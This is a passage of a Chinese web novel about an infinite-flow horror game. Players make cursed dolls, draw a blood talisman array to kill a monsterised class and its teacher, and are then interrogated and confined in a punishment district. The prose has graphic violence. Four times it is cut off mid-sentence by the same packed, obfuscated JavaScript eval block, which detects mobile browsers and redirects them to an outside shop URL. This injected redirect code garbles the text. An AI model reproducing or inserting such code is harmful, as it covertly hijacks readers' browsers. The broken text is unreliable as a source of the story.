他重新翻开素描本,指向那些扭曲的图画:“用他们的头发、指甲,按照这个样式,制作全班学生和班主任的人偶,一共38位。教室墙壁上有班级名单,在人偶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16097132|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻下真名。” 江意顿了顿,继续道:“不过还需要符咒,斩断NPC与人偶的联系,并封印‘媒介’,避免被NPC反向感知。”说着,他的目光落在随歌身上。 “哦哦哦,明白了,又call向枝冥是吧。”随歌掏出手机。 电话接通的一瞬间,背景音里隐约有符纸燃烧的噼啪声,向枝冥再一次骂骂咧咧:“随歌你没完了是吧?是不是希望我死副本里?” “别急别急!”随歌打断他,“你知不知道那种可以镇住全场的符阵?” “……等会,你们不会打算提前通关吧?”向枝冥怀疑道,“玩这么大?” “少废话,你要是不知道我问别人去了。” 电话那头沉默了几秒,随后,向枝冥的声音压低,像是怕被什么听见:“我倒是知道一个:血符阵,旁门左道里的邪法,和妖法、巫蛊一个路子。” 他顿了顿,语气罕见地严肃:“这玩意儿违背天道,损阴德,用了容易招邪祟反噬。要是心术不正,轻则被邪灵附体,重则当场暴毙。” 向枝冥叹了口气,继续道:“但…你们队通关副本一般不会选择提前通关,一定是没办法。如果你们非要赌命,我可以教你们。” “代价是,用了这玩意儿,你们五个以后睡觉最好睁着一只眼。因为谁也不知道,会不会有什么东西顺着血符的痕迹找上门。” “血符阵一旦启动,就停不下来。不要后悔,不要往外面说。” 初与序说:“我来画吧。” 她拔出短刀,在手掌心里重重一划,又将掌心贴在冰冷的地板上,血珠顺着指尖滑落,在木纹间蜿蜒成诡异的符文。 随歌和其余几人对视一眼,把手机递给她。 向枝冥的声音从扬声器里传来:“记住,血符阵开笔,就不能停,中途不能换人。画错一笔,反噬的就是你自己。” 初与序盯着地板,右眼的绷带隐隐渗血。她应了一声,手掌用力,在木板上刻下第一道血痕。 “天清地浊,血引阴路……” 血线在地板上延伸,像活物般蠕动,渐渐勾勒出一个扭曲的八卦图案,但和正统道教的八卦不同,这个图案的阴阳鱼眼处被刻意画成了两个空洞的骷髅形状。 “初与序。”向枝冥突然叫她的名字,“你确定要这么做?” 她没说话,只是侧头看了一眼教室里的其他人。 景明垂和江意正翻出窗户,他们的任务是去旧校舍的宿舍,从那些NPC的床铺、衣柜里搜集头发、指甲,制作人偶的“媒介”。 冬逢初和随歌正蹲在教室角落。冬逢初捏着一根细针,正将初与序从地板下挖出的头发缝进布偶。他的动作很稳,但脸色苍白。随歌在旁边用竹扇扇风,微弱的风流裹着阴气,加速诅咒的成型。 “别分心。”向枝冥的声音将她拉回现实,“血符阵的第三笔要逆时针画,是逆着天道走。” 初与序的手一顿,随即逆着划出一道弧线。血珠在空气中诡异地悬浮了一秒,才落回地板。 “按照你们的计划,接下来是‘封媒’。”向枝冥继续道,“把他们的头发和指甲放在阵眼,用你的血盖住,这样NPC就感应不到自己的‘媒介’被用了。” 她伸手接过冬逢初递来的一小包头发,小心翼翼洒在血符中央。发丝触到血符的瞬间,竟然像被烫到一般蜷曲起来,发出细微的“滋滋”声。 63.扎人偶 过了将近半小时,走廊里传来急促的脚步声,朝教室跑来。 初与序手没停,但眼睛扫向窗口:景明垂的身影出现在窗外,她的校裤下摆被撕开一道口子,锁骨处有一道深可见骨的抓痕,但手里紧紧攥着一把缠着长发的梳子。她翻进教室,将梳子扔给冬逢初:“女生宿舍的。” 江意紧随其后跃入,袖口沾满血迹,手里握着几片指甲,明显是硬生生从什么“东西”上拔下来的。 “够了吗?”他问。 初与序点头,将那些指甲按进血符阵。指甲接触血符的瞬间,地板下突然传来一阵剧烈的震动,像是有什么东西在下面愤怒地撞击。 “别停!”向枝冥在电话里厉喝,“画完最后三笔,然后所有人退到阵外!” 初与序的面色已经发白,失血让视线开始模糊,手上的动作依然精准。最后一笔落下时,整个血符突然亮起暗红色的光,像一张巨口般将头发和指甲“吞”了进去。 地板下的撞击声戛然而止。 教室里死一般寂静。 血符阵已成,媒介已封,剩下的,就是最后的杀招。 初与序坐在血符阵中央休息,她呼吸平稳,但右眼的绷带已经被血浸透。 冬逢初负责男生人偶;景明垂负责女生人偶;江意负责教师人偶;而随歌负责最后的“点睛”,也就是借助竹扇,让人偶的诅咒更盛一分。 制作完成的人偶一排排摆放好,江意站在人偶边清点数量。他看了看其余几人手中的人偶:“还差一个。” “不差了。”冬逢初的手指蘸着朱砂血,在一个人偶的眉心刻下真名,“林浩已经死了,制作37个人偶就行。” 初与序微微侧过头,扫了他一眼,什么也没说。 【恭喜玩家提前触发终极关卡——「人偶的复仇」】 【警告!警告!高三(4)班全体师生正在怪物化,不受规则光线限制】 【预计抵达时间:120秒】 【当前环境:绝对黑暗】 【祝各位游戏愉快】 初与序点开面板,眼前浮现出半透明的界面: 【玩家ID:初与序】 【生命值:67】 【精神值:19】 【异常状态:右眼失明/失血/诅咒反噬】 教室的灯光忽然“啪”的一声灭掉,随歌低骂了一句,看向身边的玻璃窗户,原本可以投进来月光的窗户不知何时被黑布封死,教室里陷入一片黑暗。 初与序立刻摸向校服口袋,手指一顿。那个从不离身的打火机不见了。 走廊尽头传来此起彼伏的骨骼错位声,像上百根树枝同时折断。江意忽然将什么东西塞进初与序手里,初与序用手感受了一下,是半截蜡烛。 “用血。”他简短地说,“你的血最能激怒他们。” 初与序扯开右眼的绷带,温热的血液顺着脸颊流到蜡烛上。当第一滴血浸透烛心时,烛火无火自燃,整栋教学楼突然剧烈震动起来。 随后,她将血烛递给景明垂,自己反手握住了短刀。在绝对的黑暗里,她那只失明受伤的右眼瞳孔竟泛起蓝白色,像永冬之城的雪。 黑暗之中,教室的门被猛地撞开。 扭曲的身影涌入,NPC的喉咙里挤出非人的嘶吼。所有学生和教室全部怪物化,涌进了这间被血符阵笼罩的教室。 “关门。”初与序坐在正中央,说。 江意抬手,机械手环亮起暗红的光,教室的门轰然闭合,重力场瞬间锁死出口。 景明垂的指尖一勾,数根琴弦从黑暗中无声绷直,每一根都锋利如刀,在绝对黑暗中闪着冰冷的寒光。 “嚓——!” 琴弦骤然收束,如绞索般同时缠住所有人偶的脖颈。布料撕碎的声音响起,人偶的头颅在琴弦的切割下纷纷歪斜。 景明垂的手指再次一翻,另一根琴弦如毒舌般窜出,精准地刺穿每个人偶的要害——心脏、咽喉、眉心、眼睛。 几处致命点,琴弦贯穿的瞬间,教室里的怪物们同时僵住。他们的身体开始抽搐,喉咙里发出“咯咯”的声响,仿佛被无形的丝线勒住。皮肤下浮现出诡异的黑色纹路,像是被诅咒反噬的痕迹。 景明垂依旧死死拉紧琴弦,在那些怪物里,她看到了上午追杀初与序和随歌的两只教师怪物,他们的脖颈上同时浮现勒痕,黑血和棉絮喷溅! 随歌咧嘴一笑,手中的竹扇猛地一挥!狂风骤起,裹着凌厉的气流,狠狠撞向教室的玻璃! 玻璃应声爆裂,月光如银瀑般倾泻而入,刺破浓稠的黑暗。怪物们发出凄厉的尖啸,冲过来要将随歌活活撕碎。 江意猛地抬手,机械手环迸发出刺目红光。教室里的碎玻璃、金属片,甚至散落的银针,全部悬浮而起,在他精准的重力操控下,排列成一面巨大的镜阵。 景明垂手中的血烛仍在燃烧,微弱的光线被无数镜面反射、折射,在教室里织成一张刺目的光网。 光线扫过之处,怪物们的身体像被烙铁照烧,皮肉翻卷,黑血喷溅。他们疯狂地抓挠着自己的脸,试图挡住致命的光,却只是徒劳。 月光与烛光交织,镜阵不断变换角度,将光线聚集、散射,如同一场光的凌迟。 随歌拦在窗边,竹扇一挥,又是一阵狂风,将试图逃窜的怪物逼回光网之中。 另外两人站在血符阵外围厮杀,怪物们认出了血符阵,不断地嘶吼着扑来,想毁掉符阵。 冬逢初拔出长剑,剑尖滴落着鲜血。他喘着粗气,左臂不自然地垂着,那里被撕开三道深可见骨的伤口。血顺着指尖滴落在血符阵边缘,和初与序的血融合在一起,立刻被阵法吸收,化作一缕黑烟。 突然,一个瘦高的男生怪物从天花板倒吊而下,手里攥着初与序的人偶,针尖直指人偶的左眼。冬逢初一眼就认出了他,是昨晚在卫生间外遇到的那个! 长剑脱手而出,带着破空声贯穿怪物的手掌,将它钉在墙上,怪物发出凄厉的惨叫。冬逢初已经冲到面前,一拳砸向他面门。 男生鼻梁被砸断,鲜血糊了满脸,张口就要骂人,却在看清冬逢初面容时愣住:“是…是你?!” “我说过,我们还会再见的。”冬逢初幽幽道,面上依旧微笑,“这位同学,你去死吧。” 他拔出剑,不等男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16102295|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,毫不留情斩断了学生的头颅,头颅滚落在地。 另一半,景明垂的琴弦已经染成暗红色,她的动作丝毫不停。三个教师模样的怪物同时扑来,她控制着琴弦在人偶颈间绷直。随着“唰!”一声,三颗头颅同时飞起。 忽然,一个女生怪物从阴影中窜出,尖锐的指甲直取初与序的咽喉! 景明垂左手抬起,另一根琴弦从手腕飞出,及时格挡。她趁机一抖手,琴弦如毒蛇般缠上女生的脖子! “咔嚓”,胫骨断裂的声音清脆。 初与序站在血符阵中央,左眼眼底映着这场屠杀,右眼的绷带被风吹起,露出灰蒙蒙,但隐约泛着蓝白光芒的眼睛。 江意看见她微微勾起了嘴角。 江意见过太多人的笑容了,谄媚的、虚伪的、绝望的,甚至濒死之人的解脱之笑。但此刻,他竟看不透初与序这个简单的表情。能感知到的只有一丝苦笑,但更多的则是他读不懂的情绪。 随着初与序抬起头,整个血符阵突然爆发出刺目的红光。所有怪物同时僵住,他们的皮肤下浮现出诡异的黑色纹路,像是被无形的丝线勒紧。 她站在法阵中央,右手握着班主任的人偶,左手指间夹着七根银针,每一根都浸透了她的血。 在看清她手中东西时,所有怪物扭曲的面容上第一次浮现出恐惧。 “该清算了。”初与序淡淡道。 初与序抬手,第一根银针破空而出,精准地钉在血符阵的“离”位,银针入地的瞬间,一个教师怪物的影子突然凝固,像是被无形的力量死死按住。 “啊——!!”怪物发出凄厉的惨叫,它的身体开始扭曲,皮肤下凸起无数细小的鼓包。 第二根银针钉入“坎”位,三个学生怪物的影子同时被钉死,它们的身体如提线木偶般僵直,一根根黑色的“线”从他们的关节处被强行扯出,像是被生生抽离骨髓。怪物们跪倒在地,张大嘴却发不出声音。 初与序低头看向自己手中的人偶:班主任的人偶比其他人都要精准,甚至还穿着迷你版的教师制服。 她缓缓举起银针,对准人偶的眉心。 银针刺入的瞬间,整个教室的空气仿佛凝固。 班主任怪物的身体猛地弓起,它的腹部突然裂开,数十个未完成的小人偶喷涌而出,每个都连着血肉组成的“脐带”。 “不…不可能…”它腹部的嘴发出含糊的嘶吼,“你怎么能…切断联系…” 初与序面无表情,将银针又往下压了一分,猛地将人偶按在血符阵中央。 所有怪物同时发出濒死的嚎叫,他们的影子在血符阵中疯狂挣扎,却被银针死死固定。初与序再次用力划破手掌,鲜血喷涌在阵法上: “天清地浊,血引归途——” “封!” “轰——!” 所有影子在同一秒被血符阵吞噬,怪物们的身体如蜡像般融化,最终化为一摊摊黑水,渗入地板缝隙。 教室突然安静下来,初与序松开手,班主任的人偶缓缓变成焦黑的灰烬,在她指缝中流出,落在地面上,消失殆尽。 窗外,第一缕晨光穿透云层。 64.扎人偶(完) 随歌一屁股瘫坐在地,竹扇“啪嗒”一声掉在脚边,自动收回面板。 “啊——终于结束了。”他仰头望着天花板,嘴角扯出一个疲惫的笑容,“累死老子了。” 景明垂将染血的琴弦重新缠上手腕,藏在衣袖中;江意沉默地站在一边,右手手环的机械手环不断闪烁着红光,被他摁灭;冬逢初将长剑收入刀鞘,左臂的伤口还在流血。 【恭喜玩家通关副本《扎人偶》】 冰冷的机械音在上空响起,血色的系统面板在虚空中展开: 【玩家成功消灭所有诅咒载体,破除“人偶游戏”规则。经判定,高三(4)班全体师生已彻底死亡。当前副本污染值已归零,即将进行空间重叠——】 教室的墙壁开始褪色,血迹如潮水般消退,破碎的玻璃窗自动修复。那些被钉死在血符阵中的影子,此刻正化作细碎的黑灰,被晨风卷散。 【十年前,这里曾是人偶游戏的乐园。三十七名学生与一名教师,沉溺于诅咒的快感,祖宗沦为恶念的傀儡。他们将痛苦缝进布偶,将怨恨刺入银针,在黑暗中将活人变作玩物。】 【而现在,他们的影子被钉死在血符阵中,他们的诅咒被月光焚尽。这场持续十年的恶戏,终以猎人的胜利落幕。】 【玩弄他人者,终将沦为玩物。】 【以血还血,方为真理】 初与序点开自己的副本奖励,上面工工整整几行大字: 【玩家初与序本次副本奖励:四十四积分;获得「血符秘术」道具】 【血符秘术禁术传承,介绍如下:】 「效果:以血为媒,以咒为刃,豁免一切符咒反噬」 「代价:每次使用将永久损耗微量生命值(不可逆)」 「备注:此术原为“血咒师”职业核心技能,现强制绑定玩家初与序(唯一持有者)」 她的手指划过面板,刚打算关闭时,面板最下方突然跳出一行刺目的红字: 【违规记录:实验室纵火(未遂)】 【处罚通知:返回永冬之城后,需立即永冬之城处罚大厦接受审讯】 初与序皱起眉,还未等她细看,系统突然最大音量!字正腔圆!播报道: 【警告!玩家初与序违反副本规则:不听取警告并且禁止破坏副本场景】 【处罚程序已启动!返回主城后,请立即前往处罚大厦接受审判!】 随歌闻言差点呛到:“那点火不是拖住怪物了吗?那是战术啊喂!” 【听不见】 初与序:“……” “刚好去看看处罚大厦是什么样子。”初与序对于“处罚程序启动”这件事十分平静,“走吧,回永冬之城。” 晨光彻底驱散了黑夜,校园里弥漫着淡淡的雾气,像是被洗净的血腥气。 五人踏出校门,身后是死寂的教学楼,所有怪物都已死亡,诅咒被彻底斩断。 而教学楼的拐角处,一个瘦小的女学生蜷缩在阴影里,死死捂住自己的嘴,不敢发出一点声音。她不是怪物,也不是玩家,只是众多NPC的其中一个。在诅咒爆发时,她躲进了储物柜,逃过一劫。 她从墙后探出半张脸,正好看见五人走出校门的背影: 初与序走在最前面,右眼缠着被染成血红色的绷带;随歌甩着竹扇,嬉皮笑脸;景明垂低头看了看自己染血的手指,神色平静;江意走在最后,擦拭着沾血的眼镜。 而冬逢初突然停下脚步,回头看了一眼。 女生猛地僵住,心脏漏跳了一拍。 他的目光直直落在她身上,嘴角勾起一抹笑,不是温和的,而是明晃晃的警告。 女生捂着嘴,想起了昨天的雨。 雨下得很大,冬逢初的剑尖拖在地上,划开积水,溅起暗红色的水花。他的衬衫早被血浸透,湿漉漉地贴在身上,隐约露出白皙的上身皮肤。 他身后的走廊里,横七竖八躺着二十几个男学生的尸体,都是当时和林浩在教室里的人。 林浩锁在墙角,右臂骨裂,脸上全是血,他手里还攥着初与序的人偶,针尖已经抵在了人偶的左眼上。 “你、你别过来!” 林浩的声音抖得不成样子,“她、她右眼已经瞎了,再过来我也扎穿她的左眼!” 冬逢初笑了,不过他似乎一直是笑着的。 雨水顺着他的下颌滑落,混着血滴在地上。他走得很慢,每一步都像踩在林浩的神经上。 “你可以试一试。”冬逢初的声音很轻,几乎被雨水淹没。 林浩的手开始发抖,针尖几乎快要在人偶眼眶上划下。下一秒,剑光闪过!林浩的右手齐腕断裂,连同那根针一起飞了出去。他愣了一秒,才爆发出凄厉的惨叫。 冬逢初一脚踹在他脸侧脸,踩住他脑袋,剑尖抵在他的咽喉。 “求、求求你……”林浩的眼泪混着血往下流,“我只是……只是玩游戏……” 冬逢初低头看着他,雨水顺着睫毛滴在林浩脸上。 “游戏?” 他手腕一翻,剑刃横拍在林浩脸上,划出一道深可见骨的血痕。 “那我也是在和你玩游戏。” 剑尖直直刺入林浩的右眼,林浩的惨叫卡在喉咙里,变成“咯咯”的声响。 冬逢初拔出剑,甩了甩血水,居高临下地看着他。 “再见。” 最后一剑,斩下了林浩的头颅。 雨还在下,冲刷着走廊的血迹。冬逢初弯腰捡起初与序的人偶,轻轻擦掉上面的血迹和污水,小心翼翼地放进口袋。他又看向一边自己的校服,打算穿上,但校服已经被血染红大片,触目惊心,于是放弃了。 转身时,他瞥见储物柜的缝隙里,一双惊恐的眼睛正盯着自己。 “我不伤女生。”冬逢初笑了笑,眼神却淡漠地看着她,“但前提是你要保密。” 然后他头也不回地走进雨里。 想到这里,女生打了个哆嗦,重新缩回墙角,不敢再看。 冬逢初收回视线,恢复了平日里温柔的笑容,跟上同伴的脚步。 D019次列车像往常一样等在校园外,J23的眼睛扫过五人,在看到初与序时明显顿了一下:“……你们这是把BOSS的老巢掀了还是怎么着?” 火腿面包从驾驶室蹦出来,刚想欢呼,却在看到初与序的瞬间僵住:“你、你的眼睛……” “瞎了。”初与序语气平淡。 车厢里安静了。冬逢初站在她身侧,抬起手指摸了下右耳的耳骨夹。 J23皱起眉,打开控制面板,输入一串代码:“永冬之城的医疗…修复不了副本造成了永久性损伤,但你还是去医院看看,说不定只是暂时看不见…” “没事。”初与序径直走向座位。 火腿面包蹦到她膝盖上:“可、可是……” 初与序掐住它的芝麻粒嘴巴,示意它闭嘴。 一路上无言,列车到站,五人刚踏上月台,凛冽的寒风便扑面而来。站台上,两名穿着黑色制服、佩戴银色编号徽章的执行官早已等候多时,冷冰冰地拦住了他们的去路。 “初与序,”其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16102296|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一名执行官亮出自己的标号徽章,上面刻着「S23」,“你在副本内涉嫌纵火破坏系统资产,需立即前往处罚大厦接受审讯,走吧。” 初与序没有说话,打算跟着他们走。身后四人同时上前半步,将她拦在身后。江意冷笑一声:“怎么?系统执行官现在连伤员都不放过了吗?” 景明垂的琴弦自动展开,形成屏障,横挡在初与序与执行官之间:“初与序的右眼伤势严重,需要立即就医。” S23摊开手耸耸肩:“处罚程序优先级高于……” “如果她的眼睛因延误治疗而彻底坏死,你们负责向系统解释‘高层玩家’的损伤吗?”景明垂打断他。 两名执行官对视一眼,似乎在通过内部通讯交流。片刻后,S23退开一步:“行吧,医疗检查时间限定两小时,结束后必须前往处罚大厦。” “可以。”景明垂干脆地收起琴弦。 随歌松了口气:“走走走,去医院!” 冬逢初垂下来的手轻轻碰了一下初与序的手背,耳骨夹传来细微的波动。他在通过链接向她传递心念,初与序轻轻点了点头。 两名执行官如影随形地跟在五人身侧,几人来到医院。冰冷的白炽灯下,J41戴着金丝眼镜,拿着检查单仔细看。 初与序转过头,一脸问号地看着自己身边四个队友:“你们跟过来干什么?” “陪你啊。”随歌也一脸问号,“你是我们队友,当然要跟着你来了。” J41面无表情拆开初与序右眼从绷带,伤口已经止血,但那只眼睛比起以往更加灰蒙蒙,像处在一层终年不散的浓雾之中。她拿起手电筒照了照,光束直射瞳孔,可初与序连睫毛都没颤一下。 “光感毫无反应。”J41放下手电筒,声音平静,“视神经彻底坏死,治不好了。” 诊室里一片寂静,随歌伸手捂住自己右眼,想体验一下仅用左眼的感觉,没过几秒就踉跄了一下:“操…看东西全是歪的,还他妈会重影!” 初与序只是“嗯”了一声,似乎失去的不过是一件无关紧要的东西。 J41在电脑上飞快记录着:“避免压迫眼球,每周复查感染风险,别再使用那只眼睛干点什么,除非你想左眼也报废。。” 她又叮嘱了好几遍注意事项,初与序感觉自己听得快睡着。 门外,两名执行官不耐烦地敲了敲玻璃窗,火腿面包从初与序口袋里钻出来,用烤焦的边角轻轻碰了碰她:“疼不疼?” 初与序摇头,抬手阻止了J41递来的新绷带:“不用了,这样就好。” J41皱眉:“你的眼睛需要保护。” “我会注意。”初与序说,“缠绑带太明显。” 火腿面包凑近打量初与序的右眼,确实,右眼虽然失去了聚焦,但灰蓝色的虹膜依然完整,乍看之下只是略显无神。除非近距离观察,才会发现那瞳孔对光线毫无反应。缠上绷带相当于直接告诉敌人“我的右眼看不见,快来攻击我的左眼”。 J41无奈,只好收回手,看向初与序: “记住,别相信任何说能治好你眼睛的人。” 初与序深深地看了她一眼,微微点头。 “现在可以走了吧?”S23懒洋洋道。 初与序没有说话,往前走了一步,又停下脚步,回头对四人轻轻摇了摇头,示意他们不必跟来。 江意给了S23一个眼神,S23挑眉笑了笑,比了个“OK”的手势,两人不着痕迹地移开目光。 “下次见。”初与序平静地说。 65.处罚区 两名执行官一前一后押着初与序走进处罚区大厦,冰冷的金属大门在身后关闭的瞬间,刺耳的哭喊声立刻涌入耳膜。 走廊两侧,不断有玩家被执行官拖拽着前进。一个满脸是血的少年拼命挣扎着:“我真的不知道那个道具是哪里来的!”下一秒就被电击棍击中后颈,软倒在地。 “快走。”身后的执行官推了初与序一把。 她向前走,将一切尽收眼底:墙上斑驳的血迹、地板上拖拽的痕迹、某个房间传来撕心裂肺的惨叫。空气中全是消毒水和血腥味混合的刺鼻气息。 拐角处,一个女人突然扑向铁栅栏前:“救救我!他们要把我……”话音未落,就被身后的执行官扣住手腕拽走。 “别误会,能进入这里的都是违规的玩家,我们不会牵扯无辜。”S23对着初与序解释。 电梯上升到7层时,她注意到这一层的审讯室明显更严密,每个门口都站着两名全副武装的执行官。 执行官将她推进其中一间不大不小的审讯室,冰冷的机械手铐“咔哒”一声将她双手固定在金属桌面上。 “等着。”其中一人丢下这句话,电子门在他们身后无声闭合。 审讯室里只剩下初与序一人,她活动了下手腕,金属桌面的寒意透过皮肤渗入骨髓。头顶的监控摄像头缓缓转动,闪烁着红光。墙角的通风口发出细微的嗡鸣,将审讯室外隐约的惨叫断断续续地送进来。 初与序安静地坐着,扫视着这个房间。灰白的墙壁上留着可疑的污渍,桌角有几道深深的划痕,有人用指甲抓过。 时间在寂静中流逝,初与序靠在椅背上,面无表情。 不知过了多久,审讯室的门突然发出电子解锁的“滴”声,两道身影一前一后走了进来。 初与序的视线先落在S23身上,他此刻懒散地勾着嘴角,拉开椅子坐下,莫名让初与序想起了随歌那副吊儿郎当的样子。 “又见面了。”S23的声音里带着几分戏谑,“久等了。” 初与序没回答,目光移向另一人——齐无尽。 他穿着执行官制服,安静地坐在S23旁边,修长的手指交叠着搭在膝上,二郎腿翘得优雅,但看向初与序的眼神怪怪的,带着一丝疑惑和探究。 “听说你在《扎人偶》里面放了一把火?”S23歪着头,“虽然没烧起来,但…”他忽然压低声音,“挺带劲的啊。” 初与序依旧没搭话,面无表情盯着面前两人。 S23勾起嘴角,笑容灿烂:“别紧张,这个房间的监听系统已经被我暂时屏蔽了,系统听不到我们说话。现在就是随便聊聊,走个流程。” “你交代,我们记录,然后决定是禁足还是什么。”他示意齐无尽翻开桌子上的记录本:“现在,先说说,为什么要在《扎人偶》的实验室放火?” 初与序:“烧怪物。” “哇哦,真直接。”S23吹了个口哨,“可规则明确写了‘禁止破坏关键场景’,系统也提示了很多次呢。再者,实验室的器材柜里说不定藏着副本核心线索,烧了的话怎么行?” 初与序:“烧的是怪物,不是柜子。” 齐无尽冷冰冰开口:“你差一点烧到柜子。” S23摊开手:“所以是‘未遂’嘛!”他忽然前倾身体,“不过,玩家初与序,你好像不是第一次在副本里放火?你一共通关了五场副本,共成功引发了四次火灾,两次爆炸。” 他的笔在手指间转了一圈,忽然停住。饶有兴趣地打量着初与序,笑容里多了几分探究。 “说起来……”他语调轻快,带着一丝刻意的试探,“我很好奇,为什么你每次都会用‘放火’来解决问题?” 初与序的神情忽然冷了下来。 S23像是没察觉到她的变化,继续翻动着桌上的资料:“我在审讯你之前,稍微翻了翻你的个人档案。”他顿了顿,“不只是副本记录,还有你来永冬之城之前的‘现实生活’。” 他的目光落在某一行资料上,嘴角的笑意淡了几分,但很快又恢复如常。他抬起头: “我发现……” 他的话没说完,初与序掀开眼皮看着他,冷冷道:“够了。” “你知道,我有办法在处罚区也放一把火,把这里烧了。我不一定会死,但你呢?” S23眨了眨眼,像是早就预料到她的反应。他耸耸肩,合上资料:“好吧好吧~” 齐无尽盯着初与序,忽然开口:“你的右眼,真的瞎了?” 初与序没搭理他。 椅腿划过地面的刺耳声响响起,齐无尽毫无征兆地站起来,绕过审讯桌,顺手拿起桌上的钢笔。三步并做两步初与序面前,修长的手指突然掐住她的下巴,强迫她抬头。 “喂!”S23被吓了一跳,“你干什么?!” 齐无尽的眸子冰冷地审视着她的右眼,仿佛能通过灰蒙蒙的眼睛看透她心中所想。 下一秒,他左手猛地遮住初与序左眼的视线,右手握紧钢笔,笔尖对准她的右眼,毫不犹豫地刺下! “卧槽!”S23直接从椅子上蹦了起来。 钢笔笔尖在初与序瞳孔前一毫米急停。 初与序一动不动。 没有躲闪,没有颤抖,甚至连睫毛都没颤一下。 齐无尽松开手,初与序的左眼重新暴露在光线中,瞳孔因突然的光线微微收缩,但右眼依然毫无反应。 “抱歉。”齐无尽面无表情地回到座位,钢笔“咔嗒”一声丢回桌上,冷声道:“确实瞎了。” 初与序的脸侧还留着指痕,苍白的皮肤泛着红。她依旧面无表情,但这次盯着齐无尽的目光充满明晃晃的敌意。 “我能治好你的眼睛。”齐无尽靠在椅背上,平静地和初与序对视,“我们可以合作。” “???”S23不可置信,“你当着我的面通敌啊?!” 初与序想起自己临走前J41说的话,她幽幽道:“我不信你。” 齐无尽冷笑一声,没有继续说,只是从制服内侧取出一张卡片甩出,在空中划出弧度,精准地落到初与序放在桌上的手边。初与序垂眼看去,是他的个人名片。 S23摇摇头,“啧”了一声,肘了肘齐无尽:“喂,永冬之城禁止执行官无缘无故随意攻击玩家,未遂也不行,现在你也要受处罚了。” “什么处罚?”齐无尽问。 “强制单人S级副本,无装备进去。”S23懒洋洋伸出手,“规矩在《永冬之城规则手册》上——武器上交。” 齐无尽面无表情从制服内侧掏出一副扑克牌,将牌扔在桌上,纸牌精准地停在S23手边。 初与序的目光落在自己的手铐上:“先把这个解开。” “哦不好意思,忘记了。”S23打了个响指,手铐自动解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16106212|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,在初与序手腕上留下了红痕。她将面板里的冰蓝短刃放在桌上。再伸手摘下耳骨夹,耳骨夹在她掌心泛着微光。 S23盯着她看了片刻,笑道:“你队友冬逢初塞给你的打火机也要拿出来。” “……” 初与序只好从口袋里摸出打火机,和另外两样物品并排放在一起。 S23用数据盒将桌面上所有东西收好,随后敲了敲桌面,面板弹出两份判决书: 【玩家ID:初与序】 「处罚方式:禁闭两周,武器暂扣」 【执行官/玩家ID:齐无尽】 「处罚方式:强制单人副本(A级)」 「附加条件:无装备进入」 初与序扫了一眼判决书,没有出声。而齐无尽一副无所谓的态度,仿佛即将被扔进A级副本的不是自己。 她静了片刻,还是把他的名片收了起来。 “走吧。”S23站起身,数据盒在他手中转了个圈,“先说好,别指望我给你们开后门。” 初与序刚想往外走,又被S23拦下,他手里晃着一枚漆黑的金属环,上面刻着永冬之城的勿忘我标记。初与序刚刚在其余玩家手上见过这个,是专门给禁足玩家的手环。 “伸手。” 初与序冷着脸抬起右手。 S23将手环“咔嗒”扣在她的手腕上,金属环瞬间收紧,内圈的微型针头刺入皮肤,抽取一滴血完成绑定。 他又掏出一个白色手环,扣在齐无尽右手上。 “你们别想着拆哦。”S23笑嘻嘻道,“强行破坏会直接注射麻痹毒素,够你们睡三天的。” 门外站着两名执行官,简单和S23对接了一下信息。一人带走初与序,一人带走齐无尽。 初与序被领出审讯区大厦,来到真正的处罚区。推开沉重的金属门,刺眼的阳光倾泻而下。 眼前是一座巨大的环形庭院,四周是高耸的围墙,中央是十几排灰白色的禁足室。此刻是“放风时间”,戴着同样黑色手环的玩家三三两两散步在院子里。有人蹲在墙角抽烟,有人面无表情晒太阳,还有几个在铁丝网围出的训练场里活动。 初与序的出现让院子里的嘈杂声静了一瞬。 “新人?”一个脸上带疤的男人吹了声口哨。 “闭嘴吧,那是初与序。”旁边的人压低声音,“新人第一,放火烧副本那个。” 